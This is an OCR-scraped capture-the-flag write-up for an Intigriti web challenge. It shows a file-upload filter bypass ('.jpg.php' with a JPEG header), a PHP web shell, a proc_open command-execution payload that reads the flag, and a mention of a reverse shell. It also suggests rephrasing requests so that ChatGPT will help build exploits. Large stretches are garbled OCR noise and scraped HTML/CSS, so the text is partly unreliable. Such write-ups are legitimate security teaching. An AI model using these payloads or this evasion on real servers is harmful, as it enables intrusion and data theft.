¢plEB&1:BO| xUj0RA" i0" +aDILqEY ! SAC, i0%~ | ~-0?06YSNDLOVOU 0| $~jwplevug </button>
® - @xIfinPRIU0; 0gG¥A*E40; : D0ANivh | cADRuiERy$ ~a. S06d<Cokn-; £10° 1¥Dik </form>

¢oMCOe *uewASUD+ | €0¢N O/ aa* 60510 :Dv=FO>10&0~0HND
* 5*50uwé <OshS | bB7H| [A«=08wé0®? POawOMI~053* N3 dLESCLe [T2zhEDISOSn L

<form method="post" enctype="
multipart/forn-daca">
<input type="file" name="image" />

<p style='color:#00eE76'>

*bin O File uploaded successfully to /uploads/
;+YKVps@OHOJEDc | ] oa/Qd0* 70 islieH" £@»cUDIA & directory!
G@e®anTd | bAD~¥«aAqe 5108BH+YQMI0T 5% * ;11; #alD6APL70RAAADGSOAL </p>

33 £~ [+U«"E100*i™€BA: UFDN«T 0. $]0A00TGI06Bx» 3 ¥ (ApOBOTSeMi IDTGPO0E |0SeAR

OApoOPed us[=A0 </div>
34 °_. x"DesTiDean:so s <div class="footer">
+Ux8BWLCQa ! Dg] ¢¥x0 feTeis5x 90N I0g-duiyDGe US Ap aAAUDEOsEDE/ aA3%s aD0Y=H"~ <p>

0*Y0¥a40€0st0UpXYOpHPLalce_DUDOAA ‘03] 6_¥a®f-0x0E0n" 800 | EOUxGE0atOg &copy; 2025 Shoppix - Sustainable Fashion

~1Q¥iidex0| T#0A ¢k [0; £A%+Cutal ' +-ToyS»® . 0G40EGADOOKDUY; ; ;00ZXDE(ROOD for Everyone OO
BTA"aDul OUOPI:'A)ju;AdcIDENDOE-«Y-yRae, oOkb*sDaDNk0= |>ar\ f0BZ4i0T»3 </p>

D&600E0" 268 </div>
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3% /0GXEUUE +dM10p ¢ 100 B0 ' s0BOFOsSZD <RE$ ce MO 12G1EQ1: 1800, 1TOBOM3 ¢S A
*1% (U Oxi0i*eED@!30 3
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text-align:center;
paddin x;
background: $141414;
border-top: lpxsolidg333;
margin-top: 40px;
font-size:13px;
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You can even check the uploads folder with the file:/// trick:
https://challenge-1025.intigriti.io/challenge.php?url=file:///var/www/html/uploads%23htt

« > C 2% challenge-1025.intigriti.io/challenge.php?url=file:///var/www/html/uploads/%23http hxd = fn 9 O o

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and

sustainable. Our platform connects thousands of fashion lovers

with unique second-hand pieces, giving clothes a new life while
reducing waste.

This importer allows our team to quickly fetch product images
Home About from partner stores around the globe. Just enter a product
Contact image URL below and preview the results instantly. © 2025 Shoppix - Sustainable Fashion for

Everyone @
Enter image URL

Fetch Resource

Fetched content:

We already learned earlier from chatGPT that we can bypass the image MIME type and extension check
by uploading a file with a name like: image.jpg.php and keeping the MIME type header of a JPG file.


https://challenge-1025.intigriti.io/challenge.php?url=file:///var/www/html/uploads%23http
../../../../../

We can do a test upload to confirm our bypasses. Check the file name ending in .jpg.php and the first
line of the image file keeping the JPG MIME type.

Dashboard  Target  Proxy  Intruder  Repeater Collaborator ~ Sequencer
1 2 3 4 5 x +
e G

Request

Pretty  Raw  Hex

POST /upload_shoppix_images.php?image=testimagesname=testnames
tmp_name=tmp_name HTTP/2
2 Host: challenge-1025.intigriti.ie
Content-Length: 285
Cache-Control: max-ag
Sec-Ch-Ua: "Google Chrom
"Chromium" ;v="141"
Sec-Ch-Ua-Mobile: 20
Sec-Ch-Ua-Plat form: "Windows"
Origin: https://challenge-1025.intigriti.io
Content-Type: multipart/form-data;
dary it ySD73cMKAeILbLNb3
10 Upgrade-Insecure-Requests: 1
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&d; x64)
AppleWebKit/537.36 (KHTML, like Geclko) Chrome/141.0.0.0
Safari/537.36
12 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
age/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.
7

"141", "Not?A_Brand"

13 Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer:
https://challenge-1025. intigriti.io/upload_shoppix_images.php?image
=test p_name

12 Accept-Encoding: gzip, deflate, br
15 Accept-Language: en-US,en;q=0.9

20 Priority: u=0, i

21 Is-Shoppix-Admin: true

- WebKitFormBoundarySD7jcMKAe ILbLNb3
Content-Disposition: form-data; name="image"; filename="
Untitled. jpg.php"

Content-Type: image/jpeg

YOYAIFIFYUD  ( $111%)+...383-7(-.+

1 —mmees WebKitFormBoundarySD7jcMKAeILbLNb3--

Hex Render

Comparer Logger Organizer Extensions Leam

<div class="nav-links">
<a href="index.php">
Home

</a>
<a href="g">
About

8>
Contact

</div>
</div>

<style>

-navbar (
display: flex;
justify-content:space-between;
align-items:center;
padding: 15px30px;
background: #141414;
border-bottom: lpxsolid#333;

}

-navbar. logo(
font-size:2
font-weight:bold;
color:#££4081;

.navbar.nav-linksa(
margin-left:20px;
text-decoration:none;
color:#£1£1£1;
font-weight:500;
transition:color0.2sease;

}

-navbar.nav-linksa:hover (
color:#££4081;

</style>
<div class="card">
<al>
Upload Your Design
</hl>

<form method="post" enctype="
multipart/form-data">

<input type="file" name="image" />

<br>

<button type="submit">

Upload

</button>

</form>

< styl

color: #00e676'>

O File uploaded successfully to /uploads/

directory!
</p>

</div>
<div class="footer">
<p>

&eopy; 2025 Shoppix - Sustainable Fashion

for Everyone OO
</p>
</div>

<style>
- footer(

text-align:center;
padding: 20px;
background: #141414;
border-top: lpxsolid#333;
margin-top: 40px;
font-size:13px;
color:#777;
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The upload works successfully. We now have the ability to upload PHP files onto a PHP compatible web
server that means remote code execution is within our reach.




Step 6: Getting remote code execution

The easiest way I knew to get code execution in PHP was via following PHP code:

<?php
system($_GET[“cmd”]);
2>

This would enable a “?cmd=" parameter on the upload page where we can enter any Linux command
we want. We adapt our BURP POST request image content with this PHP code. Do not forget to keep
the jpg MIME type line and adapt the file name to “command.jpg.php” for example.

=B o

Request

Pretty
POST /upload_shoppix_is
tmp_name=tmp_name HTTP/2
Host: challenge-1025.intigriti.io
Content-Length: 317
Cache-Control: max-age=0
5 Sec-Ch-Ua: "Google Chrome";v="141",
“Chromium";v="141"
Sec-Ch-Ua-Mobile:
Sec-Ch-Ua-Plat form
Origin: https://challenge-1025.intigriti.io
Content-Type: multipart/form-data;
boundary=----WebKit FormBoundarySD73cMKAe ILbLNL3
10 Upgrade-Insecure-Requests: 1
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&d)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0

Safari/s37.36
12 Accept

text/html,application/xhtmltxml,application/xml;q=0.9,inage/avif,in

age/webp, image/apng, */*;q=0.8, application/signed-exchange ;v=h3; q=0
=

"B n =

ges.php? image=testinagefname=testnamed

Raw Hex

"Not?A_Brand";v="8",

20
"Windows"

12 Sec-Fetch-Site
14 Sec-Fetch-Mode:
15 Sec-Fetch-User
Sec-Fetch-Dest:
Referer
https://challenge-1025. intigriti.io/upload_shoppix_images.php?image
=test =

same-origin
navigate

71

document

. p_name
Accept-Encoding: gzip, deflate, br
% Accept-Language: en-US,en;q=0.9
Priority: u=0, i
21 Is-Shoppix-Admin: true
23 —mmmee WebKitFormBoundarySD73 cMKAe ILbLNb3
24 Content-Disposition: form-data; name="image";
command] jpg. php"
Content-Type: image/jpeg

filename="

VYOYAIFIFYUD  ( %111%)+...383-7(-.+

<Iphp
system($_GET["cmd"]);

2

-WebKitFormBoundarySD7jcMKAeILbLNb3-~

a- -
Response
Pretty  Raw  Hex  Render n =
5 <div class="nav-links">
7 <a href="index.php">
Home
</a>
<a href="g">
About
</a>
<a href="g">
Contact
</a>
</div>
€1 </div>
3 <style>
€4 _navbar (

display: flex;

justify-content:space-between;

align-items:center;

padding: 15px30px;

€3 background: #141414;

7 border-bottom: lpxsolidg33s;

7 )

2 -navbar. logo(

font-size: 20px;

4 font-weight:bold;

75 color: #££4081;

7 }

.navbar.nav-linksa(
margin-lefc:20px;
text-decoration:none;
color:#£1£1£1;

81 font-weight:500;

2 transition:color0.2sease;

83 }

24 -navbar.nav-linksa:hover (

5 color: #££4081;

7 </style>
<div class="card">
<nl>
Upload Your Design
</hl>

<form method="post" enctype="

multipart/form-data">

1 <input type="file" name="image" />
2 <br>
<button type="submit">
Upload
</button>
4 </form>

<p style='color:#00eE76'>
O File uploaded successfully to /uploads/

directory!
</p>
</div>
7 <div class="footer">
<p>
&copy; 2025 Shoppix - Sustainable Fashion
for Everyone OO
</p>
</div>
101 <style>
102 . footer(
103 text-align:center;
104 padding: 20px;
105 background: #141414;
106 border-top: lpxsolid#333;
107 margin-top: 40px;
108 font-size: 13px;
1 color:$777;
11 </style>
12 </body>

</html>

Target: https://challenge-1025.intigritiio />

Inspector wD = -
Request attributes 2
Request query parameters 3
Request body parameters 1
Request cookies 0
Request headers 23
Response headers 6
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The PHP file uploads normally as expected so we are very close to remote code execution.
Just a quick check via the URL: https://challenge.intigriti.io/uploads/command.jpg.php?cmd=id

< ¢] 25 challenge-1025.intigriti.io/uploads/command.jpg.php?ecmd=id Y (] fi' @ 9 °
& Google
Q99O IFIFII (@@ IO ICIJ0ID0ID0I000I0000000D0000( D0% 00 0!11%)+.. 2 0383-7(-+2

Fatal error: Uncaught Error: Call to undefined function system() in /var/www/html/uploads/command.jpg.php:4 Stack trace: #0 {main} thrown in
/var/www/html/uploads/command.jpg.php on line 4

Bad luck again. The server responds with “Uncaught Error: Call to undefined function system()”
With my limited PHP programming knowledge I had to come with another PHP script to get the remote

code execution. ChatGPT to the rescue for one last time. I simply asked what the error means rather
then blindly trowing PHP payloads at the challenge web server.

What the error means

vbnet (9 Copy code
Fatal error: Uncaught Error: Call to undefined function system()

Normally, system() is a core PHP function — it runs a shell command and outputs the result:
php (9 Copy code

system('ls -la');

So if PHP says it's "undefined,” it's almost always because it has been disabled in php.ini .

@&, Step 1: Check if it's disabled

Run this (in PHP CLI or a test file):

php (9 Copy code
<?php

echo ini_get('disable_functions');

?>

You'll probably see something like:

perl (9 Copy code

system, exec, shell_exec, passthru, popen, proc_open

Those are functions often disabled for security reasons.


https://challenge.intigriti.io/uploads/command.jpg.php?cmd=id

ChatGPT proposes to use following PHP code to check if dangerous PHP functions are disabled by the
web server administrator:

<?php

echo ini_get(‘disable_functions”’),;

?>

Back to BURP repeater and adapt our image file so it contains this PHP code:

vasnwuary rargen riony muuuer Repcater Cunauuratur

1 2 3 4 S +

ERe

< |v[] > |v * Burp Al

Request
Pretty Raw Hex

POST /upload_shoppix_images.php?
tmp_name=tmp_name HTTP/Z2

Host: challenge-1025.intigriti. io
Content-Length: 317
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";

="141", "Not?A_Brand";v:

See-Ch-Ua-Mobile: 70
Sec-Ch-Ua-Plat form 'Windows"

Origin: https://challenge-1025.intigriti. io

5 Content-Type: multipart/form-data;

boundary=----WebKit FormBoundarySD7jcMKAe ILbLNb3
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0
Safari/537.36

Accept:

text/html,application/xhtml+xml, application/xml;

.9,image/avif,im

age/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.
7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71
Sec-Fetch-Dest: document

7 Referer:
https://challenge-1025.intigriti.io/upload_shoppix_images.php?image
=test =tmp_name

Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en; L]
Priority: u=0, i

1 Is-Shoppix-Admin: true

WebKitFormBoundarySD7jcMKAeILbLNb3

24 Content-Disposition: form-data; name="image"; filename="

check} 3pg.php”
Content-Type: image/jpeg

yOYaIFIFyUD (%111%)+. . 383-7(-_+
5 <?php

echo ini_get('disable_functions');

2

WebKitFormBoundarySD7jcMKAe ILbLNb3--

sequencer

w

~

jo)

Target: https://challenge-1025.intigritiio /°  HTTe2 (3)

omparer wogyer Urgameer e eanmn onr
L Inspector
Hex Render = | Request attributes
<div class="nav-links">
index.php"> Request query parameters
<a href="g"> Request body parameters
About
</a>
Request cookies
<a href="g"> 4
Contact
</a> Request headers
</div>
</div>
Response headers
<style>
_navbar

display: flex;
justify-content:space-between;
align-items: center;
padding: 15px30px;
background: #141414;
border-bottom: lpxsolidg333;

}

-navbar. logo(
font-size: 20px;
font-weight:bold;
color:#££4081;

}

-navbar.nav-linksa(
margin-left:20px;
text-decoration:none;
color:$£1£1£1;
font-weight:500;
transition:color0

_navbar.nav-linksa:hever (
color:$££4081;
}

</style>
<div class="card">
<hl>
Upload Your Design
</hl>

<form method="post" enctype="
multipart/form-data">
<input type="file" name="image" />

<button type="submit">
Upload
</button>
</form>

<p style='color:#00e&76'>
O File uploaded successfully to /uploads/

directory!
</p>

</div>

<div class="footer">
<>

&copy; 2025 Shoppix - Sustainable Fashion
for Everyone OO
</p>
</div>

<style>
- footer(

text-align:center;
padding: 2
backgroun
border-tol
margin-to
font-size:13px;
color:#777;

w} = - x

2 v
3 v
1 v
0 v
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6 v

3
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The output looks like following when we access our uploaded PHP file:

<« C % challenge-1025.intigriti.io/uploads/check jpg.php w = % 9 O 0 :
G Google

QOOOIFIFICCQOO CCCCITCITCIDCDICCICCITOIDOITOITIII( D0%I D T1%)+.. 2 0383-7(-.+1 system,passthru,shell_exec,popen,exec™

system, passthru,shell_exec,popen,exec are blocked by the web server administrator. If we go back to
our chatGPT conversation about the system error you can notice a dangerous function is missing from
being blocked.

“proc_open” is a possibly dangerours PHP function allowing remote code to be executed.

ChatGPT will probably not cooperate in building exploits unless you ask it in a different context that
you are writing PHP code for research or learning purposes for example. Another possibility is to search
on Google for PHP “proc_open” exploits.

I came across following PHP code to run Linux commands:

<?php
$cmd = "cat /93e892fe-cOaf-44al-9308-5a58548abd98. txt'";
$descriptorspec = [
0 => ["pipe", "r"], // stdin
1 => ["pipe", "w"], // stdout
2 => ["pipe", "w"] // stderr
1;

$process = proc_open($cmd, $descriptorspec, $pipes);

if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]),;
proc_close($process);

echo $output;
}

7>

Notice that the $cmd parameter can be adapted to any Linux command for example “Is” to list
directories or “cat” to read files. A reverse shell would also be possible here to gain SSH access to the
web server from the attacking side.



Here the screenshots showing the “Is” command being uploaded and executed by visiting our malicious

uploaded PHP file:

Burp Project Intruder Repeater View Help Param Miner Burp Suite Professional v2025.8.7 - Temporary Project - licensed to Joren Verheyen

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 2 3 4 5 x +
m @ A3l g | IR Burp Al

-

Request Response

Pretty Raw Hex n = Pretty Raw Hex Render =
1 POST /upload_shoppix_images.php?image=testimage&name=testname 1 HITP/Z 200 OK

tmp_name=tmp name HTTP/Z 2 Date: Tue, 07 Oct 2025 19:33:24 GMT

Host: challenge-1025.intigriti.io 3 Content-Type: text/html; charset=UTF-8
3 Content-Length: £93 Content-Length: 2387
4 Cache-Control: max-age=0 s Vary: i ppix-admin, P
5 Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand"; 2 € X-Powered-By: PHP/S8.1.33

"141" 7 Strict-Transport-Security: max-age=31536000; includeSubDomains

Sec-Ch-Ua-Mobile: 20
Sec-Ch-Ua-Plat for

"Windows"

Origin: https://challenge-1025.intigriti.io
Content-Type: multipart/form-data;

boundary it ySD73cMKAeILbLNb3
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0
Safari/537.36
12 Accept
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,in
age/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.
7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate

2

Sec-Fetch-User: 2?1
Sec-Fetch-Dest: document

Referer:

https://challenge-1025. intigriti.io/upload_shoppix_images.php?inage
—testi _name=tmp_name

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Priority: u=0,

Is-Shoppix-Admin: true

------ WebKitFormBoundarySD7jcMKAe ILbLNb3
Content-Disposition: form-data; name="image";
cat-flag. jpg.php"

Content-Type: image/jpeg

filename="

YBYaJFIFyi0 ( $1108)4...383-7(-_+
<?php
$cmd = "cat /93eB92fe-claf-44al-9308-5a58548abdS8.txt";
$descriptorspec = [
0 => ("pipe", "r"], // stdin
("pipe", "w"], // stdout
("pipe", "w"]  // stderr

$process = proc_open(scmd, $descriptorspec, $pipes);

if (is_resource(sprocess)) {
$output = stream_get_contents($pipes(l]);
fclose ($pipes(l]);

proc_close($process);

echo $output;

----WebKitFormBoundarySD7jcMKAe ILbLNb3-~

< - C 25 challenge-1025.intigriti.io/uploads/Is jpg.php

G Google

QOOO_IFFII Q9O JIC11C
www-data www-data 4096 Oct 7 10:39 .. -rw-

0000000000000000000000000000(00%000!1!1%)+..

<IDOCTYPE html>
<ntml lang="en">

<head>
<meta charset="UTF-8">
<title>
Shoppix Upload
</title>
<link href="

https://fonts.googleapis.com/css2? family=Montserrat:wght@
400;600&display=swap” rel="stylesheet">
<style>
body(
background: $0d0d0d;
color:#£1£1£1;
font-family: 'Montserrat', sans-serif;
margin:0;
display: flex;
align-items:center;
justify-content:center;
height: 100vh;
}
.card(
background: #lelele;
padding: 40px;
border-radius: 12px;
box-shadow: 04px15pxrgba(0,0,0,0.4);
text-ali enter;
widch: 450p

}

ni(
color:$03asfd;
margin-bottom: 20px;

}

input [type=file] {
margin: 15px0;
color:gddd;

}

button(
padding: 12px25px;
border:none;
border-radius: épx;
background: §03aS£4;
color:whit
font-weight:E00;
cursor:pointer;
transition:backgroundd. 2sease;

button:hover (

background: #0288d1;

Pl
margin-top:15px;
</style>
</head>
<body>

<div class="navbar">

<div class="loge">
O0Shoppix
</div>

<div class="nav-links">
<a href="index.php">
Home

GAP

[m}

X

® LG
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Target: htps://challenge-1025.intigritiio /°  HTTP2 (2)

Inspector

Request attributes
Request query parameters
Request body parameters
Request cookies

Request headers

Response headers

139 Oct 7 19:28 check.jpg.php -rw-r--r-- 1 www-data www-data 127 Oct 7 19:25 command.jpg.php -rw-r--r-- 1 www-data www-data 463 Oct 7 19:31 Is.jpg.php O

23

X

Jopadsul  gp

SAON (i)

suoneueidxy

suoipe wosn)  <p

[ 0383-7(-.+1 total 36 drwxrwxrwx 1 root root 4096 Oct 7 19:31 . drwxrwxrwt 1
- 1 www-data www-data 7906 Oct 7 19:20 Untitled.jpg -rw-r--r-- 1 www-data www-data 94 Oct 7 19:24 Untitled.jpg.php -rw-r--r-- 1 www-data www-data




And here the screenshots showing the “cat” command being uploaded and executed by visiting our
malicious uploaded PHP file. This allows us to read the flag file:

Burp Project Intruder Repeater View Help Param Miner Burp Suite Professional v2025.8.7 - Temporary Project - licensed to Joren Verheyen

Dashboard  Target Prory  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions Learn

1 2 3 4 5 x +
=mo HGT

a-=-

Request Response

Pretty Raw Hex n = Pretty Raw Hex Render w =
1 POST /upload_shoppix_images.php?image=testinageiname=testnames 1 HITP/2 200 OK

tmp_name=tmp name HTTP/Z 2 Date: Tue, 07 Oct 2025 19:33:24 GMT
2 Host: challenge-1025.intigriti.io Content-Type: text/html; charset=UTF-8

Content-Length: £93 Content-Length: 2387

Cache-Control: max-age=0 5 Vary: i ppix-adnin,Accep

Sec-Ch-Ua ="141", "Not?A_ Brand"; ’ € X-Powered-By: PHP/8.1.33

"Chromium 7 Strict-Transport-Security: max-age=31536000; includeSubDemains

€ Sec-Ch-Ua-Mobile: 20

7 Sec-Ch-Ua-Platform: "Windows"
Origin: hteps://challenge-1025.intigriti.io

% Content-Type: multipart/form-data;

dary it ySD73cMKAe TLbLND3

10 Upgrade-Insecure-Requests: 1

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0
Safari/537.36

12 Accept
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,in
age/webp, image/apng,*/*;q=0.8,application/signed-exchange ;v=h3;q=0
7

13 Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

1€ Sec-Fetch-Dest: document

17 Referer:
https://challenge-1025. intigriti.io/upload_shoppix_images.php?image
=testi = _name=tmp_name
Accept-Encoding: gzip, deflate, br

15 Accept-Language: en-US,en;q=0.9

Priority: u=0, i
Is-Shoppix-Admin: true

------ WebKitFormBoundarySD7jcMKAe ILbLNb3
Content-Disposition: form-data; name="image";
cat-flag. jpg.php"

Content-Type: image/jpeg

filenam

VBYAJFIFYUD  ( %111%)+...383-7(-.+
<7php
$cmd = "cat /93eB92fe-cOaf-44al-9308-5a58548abdS8.txt";
$descriptorspec = [
0 => ["pipe", "r"], // stdin
("pipe", "w"], // stdout
["pipe", "w"]  // stderr

$process = proc_open(scmd, $descriptorspec, $pipes);
if (is_resource($process)) (
joutput = stream_get_contents (¢pipes(l]);
fclose($pipes(l]);

proc_close ($process);

echo $output;

----WebKitFormBoundarySD7jcMKAe ILbLNb3-~

« 5 ¢

challenge-1025.intigriti.io/uploads/cat-flag jpg.php

& Google

QOOO_IFFII QO

<IDOCTYPE html>
10 <html lang="en">

11 <head>
12 <meta charset="UTF-8">
13 <title>
Shoppix Upload
</title>
14 <link href="

https://fonts.googleapis.com/css2? family=Montserrat:wght@
400;600&display=swap” rel="stylesheet">
1s <style>
1 body(
17 background: $0d0d0d;
18 color:#£1£1£1;
font-family: 'Montserrat', sans-serif;
20 margin:0;
21 display: flex;
22 align-items:center;
justify-content:center;

24 height:100vh;
2 )
card(

background: #lelele;
28 padding: 40px;
23 border-radius: 12px;
3 box-shadow: 04px15pxrgba(0,0,0,0.4);
31 text-align:center;
2 width: 450px;
33 }
4 hi{

color:g03a9f4;
margin-bottom: 20px;
}
input [type=file]
margin: 15px0;
color: fddd;

8 )
3s button(

padding: 12px25px;
border:none;

42 border-radius: épx;
43 background: #03aS£4;
color:white;
font-weight:E00;

€ cursor:pointer;

47 transition:background0.lsease;
8 }

4 button:hover (

background: #0288d1;

s Pl
margin-top:15px;
</style>
</head>
<body>

<div class="navbar">

<div class="loge">
O0Shoppix
</div>

<div clas:
<a href="index.php">
Home
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We have proven that we discovered a way to remotely execute any Linux command on the web-server
and that we can read the flag file in that way. This solves the challenge the intended way.




